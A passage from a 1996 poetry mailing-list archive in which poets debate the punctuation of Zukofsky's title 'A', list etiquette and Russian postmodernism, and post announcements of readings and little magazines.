of a sizable number of people to save it."
Patchen

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559. **Patrick Foley**
they (was: Picky, Picky ...)
Sat 21 Dec 1996

> *(who also refuses, for example, to shift gender on the collective pronoun *he* and *himself* until we agree to standardize two neutral third-person singular pronouns (possibly *s/he* and *her/m*).)*

You can also use the plural form, as many Americans do in everyday speech -- fits some cases anyway. "Nobody in this place knows what they're talking about." Gender neutral. Of course your English Comp instructor will mark off for this -- diagreement in number wrt the antecedent!!!

Missing no opportunity to advance
his plural-as-gender-neutral-pronoun theory,
Pat

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560. **KENT JOHNSON**
Tom Meyer
Sun 22 Dec 1996

I joined the list about two weeks ago-- my first post. I noticed a few days back that Tom Meyer's name came up in a discussion of neglected writers. I think it was Ron Silliman who called in to generously praise his work.

I thought I'd tell folks that the forthcoming issue of The New Orleans Review (Vol.22, #3-4) will have a special section on Meyer, including an introductory essay by Forrest Gander entitled "The Inflorescence of Variety." The magazine has a web site, but I don't have the address.

Good holidays to all.

Kent Johnson

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561. **Maxianne Berger**

Re: _a_

Sun 22 Dec 1996

For every _a_ there is an equal and opposite _minus a_ such that a - a = 0

I tried sending this before -- the listserv rejected it, claiming there was no text in the body of the message! Talk about the null factor :)

==========

Maxianne Berger * [redacted]

==========

<< Qui se sent morveux, qu'il se mouche! >>

==========

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562. **Thomas M. Orange**

picky perpetual misreadings

Sun 22 Dec 1996

---

possible entries for perpetual misreadings:

finnegan's wake
^

della primavera transportata al morale
^

the debate ensuing herein makes me think of the old textual editing distinction between accidentals and substantives, as in, when is an accidental ever _not_ substantive?

wcw was also infuriated over typos that richard aldington had allowed to slip into the _imagist anthology 1930_, among them, works attribvuted to wcw: "in the american grave" and "four grapes."

t.

| Rien n'aura eu lieu que le lieu |
| Nothing will have taken place but the place |
| - Mallarme - |
~~~
~~~

should rejoice at such strenuous attentions. I'll answer as many responses as I can, but won't respond to all, since I have deadlines, and contributing to this list is, of course, a luxury.

Charles Alexander <[redacted]> wrote:

> *I find [your] argument just a little specious. Rather than seeing a title as an example of idiosyncratic theory, I see it (if it's indeed the author who gave it the title) as every bit as much a part of the work as is any line or word of the text of that work. So, would you equally change/misquote lines of Zukofsky? I tend to think of the quotation marks and the rest of the title as part of the work, and even if I don't like that part of the work (although in this case I do), to intentionally change them seems to be simply a mistake. I would more easily understand the inadvertent dropping of the quotation marks than the intentional mis-quoting of the author.*

1. *A*, _A, "A, "a", "A," *a_, ""A, a"", a*, and so on, are variations on "A" (or _"A"_), the provocative title submitted by Louis Zukofsky. The title has always seemed to me to emphasize the microstructures of the poem, and to call attention to the minutiae of numerical and sequential operations of a book that was inspired in part by the various compositional practices of Bach, and by the historical responses (fugues on the name B-A-C-H, etc.) that Bach's work provoked. It seems to me that Z.'s approach to writing invites such playfulness, as do the many symmetries that appear (A-Z) whenever the book is discussed in detail.

2. I responded to the title not as an idiosyncratic theory but as idiosyncratic practice:

> *Nor do I intend to adopt every idiosyncrasy*
> *of Z.'s writing in speaking of it simply because I--like a homophobe*
> *pointing to an inhumane parable in The Bible--found a precedent.*

3. I made no *serious* charge regarding Zukofsky's punctuation. As I indicated in my response, I was joking:

> *You can rankle at my ur-standardizations if you like--I'm just having*
> *a good time. If it were up to me, people would write E. E. Cummings*
> *in caps as well.*

If my inference--that writers ought to "correctly" restore capital letters in the work (and name) of E.E. Cummings--struck you as a serious proposal, then I might have to resort to more hideous devices to make my ironic intent known, such as emoticons.

4. I am quite interested in the larger point of your response, which is exactly the one I sought to address:

> *So, would you equally change/misquote lines*
> *of Zukofsky? I tend to think of the quotation marks and the rest of the*

> *title as part of the work, and even if I don't like that part of the work (although in this case I do), to intentionally change them seems to be simply a mistake. I would more easily understand the inadvertent dropping of the quotation marks than the intentional mis-quoting of the author.*

In instances of appropriation, I choose only to change or misquote what I consider to be familiar to the reader. In the case of Zukofsky's writing as it pertains to this particular list, I see no reason to be reverent about a title that everyone here knows. However, in the case of an individual *line* of _A_, I would choose to cite it correctly in order to play with it (as I would an obscure theme in a set of musical variations), because I can't presume that it has the same level of familiarity.

This is an argument that I've had with Kathy Acker for years. When she chooses to appropriate the titles and themes of, say, Dickens or Cervantes, I see the reason for it. When she decides to rewrite a bestseller by Sidney Sheldon, or lines from a newspaper, I can understand the point as well. But when she rewrites mere passages from Genet or Sade without acknowledging either writer, and when she rewrites the ideas of writers who are more obscure, I do wish that she would give those writers credit, or make some reference to the text she is changing, autonomy of the text notwithstanding, so that readers can seek it out. In the section of _In Memoriam_ in which she rewrites Baudelaire and Rimbaud, I feel she is toying with poems that are sufficiently known to the reader. But personally, I would not want to tamper with a text that is insuffiently known in the first place. I say this not in order to dictate a standard to anyone else but rather to clarify my own idiosyncratic views and practice.

Here is another question that provoked me to play with "Z"'s title. It seems to me that the idea of *not* privileging an author is a philosophical dead end. It is also an idea that gets discarded whenever the battle over stature gets fought on a smaller scale. Would anyone care if I changed the title of _Loaves of Gas_? Would anyone object if I were to refer to a film called _Trainsprouting_, or if I were to "correct" (as I am about to do on the Permeable Press page) the colon-riddled prose of _The Atrocity Exhibition_ line by line? These works seem sufficiently known and/or exalted by mainstream culture; such work is often manipulated by some of the poets on this list. But what about the work that is dearer to us, the work that is more central to our practice? If we object to the manipulation of these texts, are we not guilty of maintaining a double- standard in our own private literary hierarchy?

Certain nameless quasi-Marxist writers turn vicious over matters of their own micro-reputations, all while maintaining what seems to me to be spurious contempt for the so-called Canon. What good is the contempt of such writers, if humor does not allow them to take a deflating view of what they themselves consider to be important?

****

Peter Quartermain <[redacted]> wrote:

> *I had always thought, actually, that _A_ was called "A" because Zukofsky, in titling his long long poem "A" was parodying or attacking or what-you-will the perhaps pretentious habit of giving long "epic" poems grandiose titles.*

I've always thought so too, hence my reference to Cummings's ostentatious typographical modesty. But at some point, such fail-safes against immodesty (either for author or text) become obsolete: when the work becomes the site of scholarly excavations.

It seems to me that _A_ was born and bred for excavation, and that, microstructures notwithstanding, Z's calling *A* by the name of "A" invites the telescope as well as the magnifying glass.

> *Is it also worth noting that, _A_ or "A", the title is pronounced as a schwa, UH?*

I didn't know that. What is the source of your pronunciation info?

> *I'm not at all clear how this is "formalist".*

That was an unnecessary ad hominem leap on my part. In the course of being on this list, I've watched non-pomo-praxis poets and critics get trashed in exceptionally impolite and smug-sounding ways. Silliman's punctuation- flame is an instance of classic bad nettiquite: it is not considered polite or useful to flame someone over instances of misspelling or mispunctuation in email. The connection I made--between past instances and this present one--was both unclear and unjustified, and that I must acknowledge.

****

Pete Landers wrote:

> *Carnography wrote:*
> *PS: If you're truly going to attempt to nail email authors for spelling and punctuation, then you've got your work cut out for you.*
>
> *The point, as i saw it, wasn't the proper punctuation of the title of LZ's *"A"* (or is that _"A"_ ?). The most common, not necessarily most famous, misreading is that the title is the first letter of the alphabet, when it's clearly the indefinite article; longer but not as dense as his earlier poem entitled by the definite article. The quotation marks indicate that it is a spoken word. I don't know why he italicized it ... anyone?*

The *point* of a punctuation-flame does not change its classification and operation *as* a punctuation flame.

This is useful information. Thanks for posting it.

****

As is appropriate, I've saved the least civil response for last.

David Baratier <[redacted]> wrote:

> *A few months passes. I figure, hey how bout saying howdy to a few of them folks on that there academic poetry list, in time for a holiday, let them know I'm scantilly living in my new digs.*
>
> *Rob Hardin, still arguing.*

Since you haven't been on listserve for awhile, perhaps you require a synopsis. The most heated arguments of late have been over Adorno, arguments in which I did not participate. For months, my posts have been limited to attempts to help posters with infomation about things like quantitative verse (BTW: On p. 378 of _A_, there is an interesting citation on the subject of quantity in modern verse.), to shameless self-promotion (I announced two new boooks of my own), and to expressing my enthusiastic interest in other writers like Jacques Servin. In one such note, concerning Mark Scroggins's (and Peter Quartermain's) _Upper Limit Music: The Writing of Louis Zukofsky_, I asked Scroggins to post an excerpt from the new book, and expressed affection for Zukofsky's poetry and persona. My non-standard punctuation of the title {A} provoked esteemed poet Ron Silliman to write a punctuation flame. My own response was not a flame but rather an explanation. (How can anyone ever mention A' without toying with the title?)

The more charitable (and logical) view of past controversies involving me is this: the controversy involves my ideas and not my character.

> *My nomination is U of Cal Press 1978 printing of "A" 1-24, where it all started. Unlike Cape or Grossman there's no quotes on the cover, so one would have to open the book to find the quotes & we all know how few people actually ever read these books. Who has time in this modernity with the exception of those whose livelihood is not threatened by.*

That edition, of course, is the only edition of ^A- that I own (or have ever owned): I bought it at the Strand eight years ago. Hence it seemed that the edition itself invited play.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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566. **Burt Kimmelman**
Re: Tewwibly tewwibly picky
Sun 22 Dec 1996

Why couldn't Zuk's title *"A"* be viewed as an indefinite article, much in keeping with the later Oppen's *This In Which* and Corman's *Of*?

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567. **Jordan Davis**
Standard Response
Sun 22 Dec 1996

The Dave Baratier Wrote:
See, there is
this outside world that doesn't believe poetry is readable anymore.

And The New York Observer Wrote:
Charles Simic, a poet who writes poems that are actually readable

And how Charles was smiling in the photograph!

Signed,
The Jordan Davis

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568. **Tara Pauliny**
Re: Response to the Standardization of]A(: The Variant Variations
Sun 22 Dec 1996

Rob, Thanks for the update. The controversy was not supplied to insinuate harm upon your e-character. But rather the humeric was lost as mentioned below:

> *Certain nameless quasi-Marxist writers turn vicious over matters of their own micro-reputations, all while maintaining what seems to me to be spurious contempt for the so-called Canon. What good is the contempt of such writers, if humor does not allow them to take a deflating view of what they themselves consider to be important?*

which suspiciously seems a hidden commentary. So to riff off HG: When the real marxists come you'll be quaking in your white knee highs & tennis shoes.

1st. I uphold the canon, it's kept our journal going. Pound's ethics have reversed intentionality into the false 23rd phase of the moon. See, there is this outside world that doesn't believe poetry is readable anymore. Marginalizations of "marxist," "work poetry," "labor poetry," in reviews hardly bother me, especially when combined with "experimental," "avant-guard," "anti-formal,"

"otherstream" & "formalist." In fact I am grateful for this Laconian naming deal: it's given us an audience, inside & out.

2nd. I understand the inclusion of certain writers in the canon will destroy the term, that there isn't the ideology for them. For their work would involve combining the "canons" of poetry, fiction, painting, music, and anon, & who in their right mind is willing, or has the right, to give that power.

3rd. Be suspicious of any folks who uphold the notion of anti-literature: dollars to doughnuts they have based their careers on it.

Be well

David Baratier

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569. George Bowering
Re: Impossibilist Westerns
Mon 23 Dec 1996

Okay, Hardin'

I am taking back everything I said about you young guns not having seen the spaghetti westerns, if you will concede that us old guys have experienced double latte easy on the foam.

But I hafta warn you, when I was only 15 there were lone riders all over my native Okanagan cactus country looking for fame, which they hoped to get by drawing down on me in front of the Rexall. I turned in my guns and got the postmaster's daughter on his porch swing. She persuaded me that she would give me everything if I could learn to play the saxohorn like Prez. I tried and tried but I could never spell embrasseur. Still cant, as Herb Levy will tell you. But right now I am listening to a CD stuck in my Mac, Pharoah Sanders playing heartbreaking standard ballads like Coltrane once did, an eerie imitation.

I was never going to marry you in June anyway, and here's some news for you: I got that ring off a dead guy in the dust in front of the Rexall. I was just trying to make you feel good, show yr ring finger off to all your co-workers. Us long-jawed types cant be tied down, got riding to do. Today I rode an elegy in 55 lines flat, about a guy died in Rome.

Anyway, I been thinking about yr comments on my comments re the Leone movies, remember the shots from the floor, camera shots that is? And I am saying you were partly righter than I was partly righter and I'm gettin' in my cayuse and rightin' out of this town ride now.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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570. **Mustafa Ziyalan**

****** Atomic Piles! by Murat Nemet-Nejat ******

Mon 23 Dec 1996

ATOMIC PILES

by Murat Nemet-Nejat

is now accessible at

http://maxwell.njit.edu/merhaba/marmara/mr100302.htm

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*FIRST DAY: Historical Perspectives / **SECOND DAY: Early Days / ***THIRD DAY: The Mendes Heresy / ****FOURTH DAY: Fine Print of GAG and Our Present Political System / Class Exercise: Life Expectancy of a Given Year (LEY), How to Calculate It / *****APPENDIX: Other Fragments from Crickshaw Excavations / Giovanelli's Minus Plus Factor / Anaxomic Information-Analysis and its Application to the Problem of Fear Immunization / The Problem of Back Seat Intercourse: Interoffice Memorandum / The Secret Cult of Back Seat Fullers (BAFs) / Mercy Fixers: from the Autostrada Cycles / The Temple of the Eternal Shredder / The Parable of the Copying Machine and the Pneumatic Hammer / The Location of the Department of Core Placers, DCP / Anxiety Charts: Procedure to Collect Data / Inter-office Memorandum

You can e-mail your suggestions and submissions to
[redacted]

and forward this message
to persons who might be interested!

Happy New Year!

Mustafa Ziyalan

[redacted]
http://maxwell.njit.edu/merhaba/marmara/

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571. Carnography
Re: POETICS Digest - 21 Dec 1996 to 22 Dec 1996
Mon 23 Dec 1996

To David Baratier:

I wrote:

> *Certain nameless quasi-Marxist writers turn vicious over matters of their own micro-reputations, all while maintaining what seems to me to be spurious contempt for the so-called Canon. What good is the contempt of such writers, if humor does not allow them to take a deflating view of what they themselves consider to be important?*

To which you replied:

> *which suspiciously seems a hidden commentary...1st. I uphold the canon... Marginalizations of "marxist"...in reviews...hardly bother me...[etc.}*

Actually, I wasn't thinking of *anyone* who posts on this list, simply because I don't know any of you personally: I haven't gotten drunk with you and heard you complain. I haven't met you at a conference and seen you turn pale when you imagine another writer is being praised at your expense. When I talk about "certain writers," I mean writers whom I know and disagree with ideologically but don't wish to berate in a public (or for that matter, in any) forum.

So, to recap: No one here need wonder if I'm talking about *her/m*, or (Patrick Foley's) *them*, or possibly (Dan Raphael Dlugonski's) *er*.

> *3rd. Be suspicious of any folks who uphold the notion of anti-literature: dollars to doughnuts they have based their careers on it.*

To paraphrase Swift speaking of La Rochefoucauld, I seem to have based my life upon your maxim.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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572. Ron Silliman
Tom Meyer
Mon 23 Dec 1996

Kent,

That wasn't me who was generously praising Tom Meyer, although it certainly could have been. My little zine in the 70s, Tottel's, was publishing Tom even before Jonathon Williams ever met him. In fact, Tottel's was one of the few

publications to print an excerpt from Tom's 800+ page poem called Technographic Typography, written more or less continuously while he was a student at Bard (or was it Tufts?). Anyway, Tom abandoned the project and I think may even have discarded the text, but I've always liked it, both the idea and the act of it, and am wondering if anybody on the list knows of a better source of more of it (I know, for example, that some other little mags ran excerpts, but cannot remember which ones or where).

Ron Silliman

> *Date: Sun, 22 Dec 1996 19:42:12 +0600*
> *From: KENT JOHNSON <[redacted]>*
> *Subject: Tom Meyer*
>
> *I joined the list about two weeks ago-- my first post. I noticed a few days back that Tom Meyer's name came up in a discussion of neglected writers. I think it was Ron Silliman who called in to generously praise his work.*
>
> *I thought I'd tell folks that the forthcoming issue of The New Orleans Review (Vol.22, #3-4) will have a special section on Meyer, including an introductory essay by Forrest Gander entitled "The Inflorescence of Variety." The magazine has a web site, but I don't have the address.*
>
> *Good holidays to all.*
>
> *Kent Johnson*

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573. **Ron Silliman**
The devil's in the details
Mon 23 Dec 1996

"My non-standard punctuation of the title {A} provoked esteemed poet Ron Silliman to write a punctuation flame."

Rob,

I recall George Stanley once (in 1967) arguing that a poet was the only person who ever understood why the difference between an "a" and a "the" in a sentence was "the most important thing" in a poem and I will admit to sharing that bias.

I would hardly characterize my reaction as a flame, punctuation-wise or other. When I flame you, you will know it. Methinks that you're committing what in

some circles these days (post Alan Sokol's Social Text hoax) is referred to as "an Andrew Ross."

All best,

Ron

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574. **Henry**
Re: -a-
Mon 23 Dec 1996

As I always understood it, Zukofsky in his farsighted w"a"y titled his poem _"A"_ so he could be number one in the forthcoming _Long Poem Recorded Messages Yellow Pages_ (Univ. of Left Overbie Press, 2004). (cd rom)

He"n"ry G"&^$%ld (please note/observe new name format, thanks)

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575. **henry**
Re: Winter or not to winter
Mon 23 Dec 1996

This is indeed a big issue, the differing centers of gravity of romanticism & modernism respectively. A discussion beyond my capacity, but I tried to get at it tangentially in essay in latest Witz on the Hoboken Russ-American conference. I tried to suggest (provocatively & probably mistakenly, I admit) that Russian postmodernism, as exhibited in current poetry, differs from American - is really a pre-modernism - at the core of which is Mandelstamian or Chaadevian (Chaadev - 19th cent. Russian writer) concept of "moral freedom". The idea is that the Person, in a moral sense, exists as a kind of absolute, in a theological frame (not as "ego") - analogous to the way the icon was considered a real manifestation or extension of a divine being.

The idea is that the Romantic autonomous self & the Modernist autotelic art-form are incomplete. Western postmodernism "proved" this in a negative, deconstructive form; Russian "postmodernism" exhibits a (sublimated, metaphorized) return to a metaphysical or religious conception of the self-art continuum.

I also tried to suggest (again, a provocative reduction) that this conceptual basis is reflected in the differing aesthetics of Russian & American poetry. Russian poetry, as I heard it performed in Hoboken, exhibits a kind of organic "finality" - an expression of the premodern humanist form of an Absolute - a formation not visible in current American poetry (at least not in the same way).

Now I know there's a comic side to these tendentious formulations - so I just throw them out to you listees, knowing there were several of you at the Hoboken wing-ding who may have a very different take on these issues - & also to draw attention to the latest Witz which has some other neat stuff in it... - He"n"ry Gould

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576. **KENT JOHNSON**

Russian postmodernism

Mon 23 Dec 1996

Henry:

Just saw your interesting note on differences between Russian and American postmodernist poetry, though I've missed out on the background discussion you allude to in "winter or not to winter." A key writer to consult on the matter of Russian postmodernism and its poetries is Mikhail Epstein, who published the book, as they say, on the subject: After the Future: The Paradoxes of Postmodernism & Contemporary Russian Culture. Epstein also authored an extensive Afterword to Third Wave: The New Russian Poetry, an anthology I edited back in 1992, and which I heard was available at the Hoboken conference. Epstein's After the Future contains all kinds of fascinating stuff, including three or four essays that focus on the Russian poetic avant-garde. As you possibly already know, Epstein divides the "postmodern" Russian poetry scene into different aesthetic/philosophical tendencies, the two most general of which are "Conceptualism" and "Metarealism." In reading your "provocatively reductive" formulations, it struck me that your sense of a "return to a metaphysical or religious conception of the self-art continuum" would be much more applicable to the second group than the first: proposals of "organic finality" or expressions of "humanist forms of an Absolute" do often appear in Conceptualist writing, but when they do they are intended quite negatively and most usually in the spirit of parody.

But I'm offering this without having read your article, which I'm going to order from Whiz. And I'm taking the liberty of sending your post to Mikhail Epstein, who would, by the way, be very pleased to hear from you and others interested in contemporary Russian culture and poetics. Epstein's e-mail is [redacted].

Kent

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577. Charles Alexander
Re: Tom Meyer
Mon 23 Dec 1996

Ron

Tottel's was a great magazine. But in this context it also makes me remember that, in the 70's, in Tottel's, in Stations, in Paper Air, and in several other magazines, typographical experiments/concrete poetry/visual poetry/sound poetry/etc. seemed to be very much a part of what was going on, and I originally saw language poetry as part of a context including such work. Yet it didn't seem long before language poetry seemed quite separate from such visual and multimedia experimentation (I know, that word is very problematic). In later magazines like Temblor, o-blek, and many others, one almost never saw visual work, scores of sound work, and the like. Is this a split? Can you think of any reasons for this split?

charles

At 03:34 AM 12/23/96 -0800, you wrote:
>Kent,
>
>That wasn't me who was generously praising Tom Meyer, although it
>certainly could have been. My little zine in the 70s, Tottel's, was
>publishing Tom even before Jonathon Williams ever met him. In fact,
>Tottel's was one of the few publications to print an excerpt from Tom's
>800+ page poem called Technographic Typography, written more or less
>continuously while he was a student at Bard (or was it Tufts?). Anyway,
>Tom abandoned the project and I think may even have discarded the text,
>but I've always liked it, both the idea and the act of it, and am
>wondering if anybody on the list knows of a better source of more of it
>(I know, for example, that some other little mags ran excerpts, but
>cannot remember which ones or where).
>
>Ron Silliman

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578. Christopher Reiner
Re: Winter or not to winter
Mon 23 Dec 1996

Henry Gould wrote:
>& also to draw attention to the latest Witz which
>has some other neat stuff in it...

Thanks. Hey, this sounds like a good opportunity to put in an announcement for the new Witz. In addition to Henry's piece on the Hoboken conference, there's a Loss Glazier article on the Assembling Alternatives conference. Jefferson Hansen provides an essay on "Anarchism and Culture." Todd Baron's _Outside_ is reviewed by Noah de Lissovoy; Rod Smith's _In Memory of My Theories_ is reviewed by Daniel Barbiero; Don Wellman's _Fields_ is reviewed by Cynthia Hogue; and Harry Polkinhorn's _Mount Soledad_ is reviewed by Stephen Ellis.

Single copies $4. Subscriptions $10 (three issues) for individuals, $30 for institutions.

Address: Witz / PO Box 40012 / Studio City, CA
Make checks out to: Christopher Reiner

If you e-mail me (not the whole list, please), I'll send you the latest issue and bill you.

Chris Reiner
[redacted]

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579. **Christopher Reiner**
Re: Winter or not to winter
Mon 23 Dec 1996

Uh...sorry, I left the ZIP out of the address for Witz.

Witz
PO Box 40012
Studio City, California 91614

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580. **Tom Mandel**
(no subject)
Mon 23 Dec 1996

I find this whole thread, and especially the following

"Silliman's punctuation-flame is an instance of classic bad nettiquite"

really disconcerting and wonder if I am alone in this. To me Ron Silliman began the thread in a way requiring no emoticon to communicate that while he was using Rob's email misquoting of the title of Z's poem/book to introduce a little (literally) subject, he intended neither insult to Rob nor to be making a big deal intellectually of Rob's part in the subject. He titled his post "Picky, Picky, Picky" -- do we need an emoticon to understand this framing device?

I was shocked by the strength of Rob's response, leading me to ask myself whether there might be some subtext here or else something I missed. If there is a flame here, and I don't think there is, it is I'm afraid on Rob's not Ron's part. Yet Rob's is one of the minds in this listserv I've most enjoyed and he is one of the people whose posts I look for and always read. And Ron is a very close friend; perhaps our friendship causes me to misread what is going on here.

As to the interpretation of the title _"A"_ (and I sure as hell hope I've got that write) it is obvious that the shorter and/or more fragmentary the item, the more interpretation it both requires and invites. No one has mentioned, for example, that A is the note to which musicians most often tune their instruments (usually 440 cycles/second) or that semanticization of letters is a classic mystic practice (especially - prob. my prejudice - a Jewish mystical practice, viz. Book of Bahir, etc.). Or that A stands well for a beginning. Or whether there's a musical connotation to the key of A, or that A says Not The, or that it points up, or that the quotation marks may indicate a sung note, or a sung word, or the play of a sung word being the name of the note sung, or... I could fill pages with this stuff, and it is *all* relevant: that is, it might be if someone can make it be.

Riffs relate to music; some of you remember the concept of a blowing session from the fifties; I seem to be on music. A critic would say about one of these dates in a Bluenote or Prestige studio that it's "not just another blowing session." The critic meant that there was an inter-process communication (now I'm on programming) among the musicians. Each wasn't just "blowing his horn," taking off from the others, but rather some ensemble "mind" ensued.

That sounds good.

Tom Mandel
Screen Porch
****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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581. **steph4848**
Re: No Subject
Mon 23 Dec 1996

Hi Tom -

"'A' noir..." -n'est-ce pas? Especially "noir" re Rod. Not the first guy to lately go off the deep end! Seasonal disorder?

I do think it's good that you bring up his antagonism in the context of this list. I suspect there are power subtexts. Ron - either by statement or silence - in my limited experience of this list appears to assume and play "the grand arbiter" without much humility -- and that's not to say he's without knowlege, intellegence, sometimes humor etc. However Ron's approach can come off as a policing ploy designed to separate the grown fish from the minnows - proven poets from the new ones, already legitimate or emerging critics - as for example those who might provide public validation for the work of of poets he considers interesting - as different from those "non-professionals" or poets and academics offering casual opinions. This acitivity on the part of Ron is not necessarily a bad function given the diversity and open subscription nature of this list. I think its natural that someone(s) will move into the list to create a hierarchy within the on-going process. At it's best it creates healthy arguments. AT its worst - with dips into cheap shots - I find the process can create episodes where some well meaning person will feel like they're being pigged on for somebody else's advantage.

But the Zukofsky spelling thing -- I remember-- can be provocative. When he died (1977?), the St. Marks's Poetry Project Newletter mispelled his name in the "in memoriaum" piece, and I recollect that Creeley wrote a very harsh letter to the editors- arguning (as I recall) that the the the St. Marks folks had taken the man and his work in vain - implying (I believe) that editors had neither read or given Zukofsky proper respect while he was alive. In a public respect, it seemed so Un-Creeley. I certainly couldn't figure out why he was so harsh.

Comparitively, Ron, as you point out, with this mispelling of Z's name was quite light fingered: the gentle, ironic school Master (Marm?) - gatekeeper with humor?

Unless it's a personality conflict of another order, I commend you encouraging Rod - especially given your respect for his critical mind - to be more out with a more articulate rendering of the source of his anger re Ron. Maybe there will be something fruitful here.

As you point to the good example of the improvisatory phenomenon that happens among muscians - I find this list most exciting when an ensemble of various users (players) takes a particular thread and gets a Mind going that takes it somewhere Fresh.

Cheers
Stephen Vincent

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582. George Bowering
Re: The devil's in the details
Mon 23 Dec 1996

> *"My non-standard punctuation of the title {A} provoked esteemed poet Ron Silliman to write a punctuation flame."*
>
> *Rob,*
>
> *I recall George Stanley once (in 1967) arguing that a poet was the only person who ever understood why the difference between an "a" and a "the" in a sentence was "the most important thing" in a poem and I will admit to sharing that bias.*
>
> *I would hardly characterize my reaction as a flame, punctuation-wise or other. When I flame you, you will know it. Methinks that you're committing what in some circles these days (post Alan Sokol's Social Text hoax) is referred to as "an Andrew Ross."*
>
> *All best,*
>
> *Ron*

I cannot see any alternative to agreeing with Ron. The question was never, as far as I could see, a question of punctuation. It was a question of getting a title right. Zuk was not sloppy about titles, as I think should be apparent in the strangeness of nearly all his titles.

I mean, we dont call his late book _80 Flowers. More or Less_

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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583. armand schwerner
Finnegans Wake
Tue 24 Dec 1996

Any List people and friends in or around New York City at year's end:

Non-stop reading of Finnegans Wake from 12 noon Tuesday, 12/31, through Wed. afternoon, about 6pm at the Paula Cooper Gallery. New address: 534 W. 21 bet. 10/11th aves. Free. Come lie around and listen.

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584. Tenney Nathanson
citation! citation! (no Chevies!)
Tue 24 Dec 1996

George Bowering wrote:

> *But right now I am listening to a CD stuck in my Mac, Pharoah Sanders playing heartbreaking standard ballads like Coltrane once did, an eerie imitation.*

but who knows where or when? what's the disc?

(I've had my negative reactions to Pharoah Sanders, but still) (I've had my positive ones too!)

thanks

Tenney

↑ Index

585. Ron Silliman
"sPliTtInG," Creeley vs. Greeley, etc.
Tue 24 Dec 1996

---

3 items, as follow:

(1)
>Ron
>
>Tottel's was a great magazine. But in this context it also makes me remember that, in the 70's, in Tottel's, in Stations, in Paper Air, and in several other magazines, typographical experiments/concrete poetry/visual poetry/sound poetry/etc. seemed to be very much a part of what was going on, and I originally saw language poetry as part of a context including such work. Yet it didn't seem long before language poetry seemed quite separate from such visual and multimedia experimentation (I know, that word is very problematic). In later magazines like Temblor, o-blek, and many others, one almost never saw visual work, scores of sound work, and the like. Is this a split? Can you think of any reasons for this split?

>
>charles

My own sense (wholly subjective and biased) is that it came down to a sense of "what is language?" and an abiding interest in _that._ When I think of larger collections of visual poetry (e.g., Mary Ellen Solt's anthology, say), I was always struck at how *static* the work seemed to me. There were always exceptions, notably among the island poets with that "f" phoneme up front (Furnival, Finlay, Phillips) that Charles Hocking likes to note is one of the "recent" sounds added to the vocabulary (it requires teeth shaped by agriculture), but it was that they seemed exceptions that made it all the more apparent.

Similarly, sound projects had their own problematics (esp. if you are looking to the page for evidence) tho the steves (Benson, McCaffery) did some amazing things in that regard, the latter with all his other horsepeople.

But I recall some performances that Steve McC did in Berkeley many years back (somewhere in the 1981-85 time frame, based on where I was living at the time) that required him to keep a hog's head in my refrigerator for a day or so. The pieces were very effective as theater and thus controversial for that aspect alone. The question was: did that effective theater draw one's attention *away* from (1) "the work" or (2) "the language"? Much discussion on all sides of that one, but you can see the preconceptions about what The Work was.

This would be a good question to pose to Steve or to Johanna Drucker, another person who I think has gotten quite a bit underappreciated by my own generation, precisely because her attention has not been linguistic, as such, but around and beyond. Or Steve Benson.

---

(2)

"But the Zukofsky spelling thing -- I remember-- can be provocative. When he died (1977?), the St. Marks's Poetry Project Newletter mispelled his name in the "in memoriaum" piece, and I recollect that Creeley wrote a very harsh letter to the editors- arguning (as I recall) that the the the St. Marks folks had taken the man and his work in vain - implying (I believe) that editors had neither read or given Zukofsky proper respect while he was alive. In a public respect, it seemed so Un-Creeley. I certainly couldn't figure out why he was so harsh." Steve Vincent

Bob's on the list and can certainly speak for himself, but possibly it was because of the experience of having his own name misspelled on every damn page of David Ossman's The Sullen Art -- Greeley in the footer. Or perhaps he thought it a sign that they would run a memorial without even looking at the work closely enough to see the name? ----------

(3)
"I mean, we dont call his late book _80 Flowers. More or Less_
>>
>George Bowering."

When LZ died, he was sketching out the details for a sequence to be called 90 Trees. Rumor had it there was to have been another series beyond that, 101 Dalmatians.

Ron

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586. **robert drake**
Re: list dynamics
Tue 24 Dec 1996

---

stephen writ:

> *I do think it's good that you bring up his antagonism in the context of this list. I suspect there are power subtexts. Ron - either by statement or silence - in my limited experience of this list appears to assume and play "the grand arbiter" without much humility -- and that's not to say he's without knowlege, intellegence, sometimes humor etc. However Ron's approach can come off as a policing ploy designed to separate the grown fish from the minnows - proven poets from the new ones, already legitimate or emerging critics - as for example those who might provide public validation for the work of of poets he considers interesting - as different from those "non-professionals" or poets and academics offering casual opinions. This acitivity on the part of Ron is not necessarily a bad function given the diversity and open subscription nature of this list. I think its natural that someone(s) will move into the list to create a hierarchy within the on-going process. At it's best it creates healthy arguments.*
> *AT its worst - with dips into cheap shots - I find the process can create episodes where some well meaning person will feel like they're being pigged on for somebody else's advantage.*

while i'd agree with you that there are "power subtexts" at work (there are *always* "power subtexts" at work... [oops, that must be leftover frm the politics/poetics thread]), i think it's a mistake to credit or blame Ron for assuming his role, whatever it is--the list as a whole creates its dynamic, by patterns ov response & silence, for all ov it's members, and no individual determines his/her own position in the pecking order without our aid (& pecking order is too linear & 2dimensional than what i mean...).

&, as i mention as often as i can, this is not an "open" list:

> *IMPORTANT: This list is confidential. You should not publicly mention its existence, or forward copies of information you have obtained from it to third parties... [from the Poetics List welcome msg.]*

which fact itself contributes to its dynamic...

luigi

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587. **Michael Boughn**
Re: Winter or not to winter
Tue 24 Dec 1996

I guess, Henry, it depends on how you think of--yikes, dare I say it--"postmodernism". Do you consider Olson to have written under this rubric, and those who continue to labour quietly in that vein? I think of Robin Blaser's decription of Jack Clarke's work as stepping around the "pile-up of postisms", of being "just plain after the modern and at work", or words to that effect. Certainly Olson's push was toward what you are calling the "pre-modern" I think, and Clarke's work, as it carries that work "forward" never forgets that for a moment. Clarke's much on my mind because I'm just finishing the production of _In the Analogy, Books 1-7_ which will soon be released.

I don't know about the "Absolute". Isn't that some kind of vodka? Maybe that explains what the Rooskies are up to.

Mike
[redacted]

↑ Index

588. **Rachel Loden**
sweet berries ripen in the wilderness
Tue 24 Dec 1996

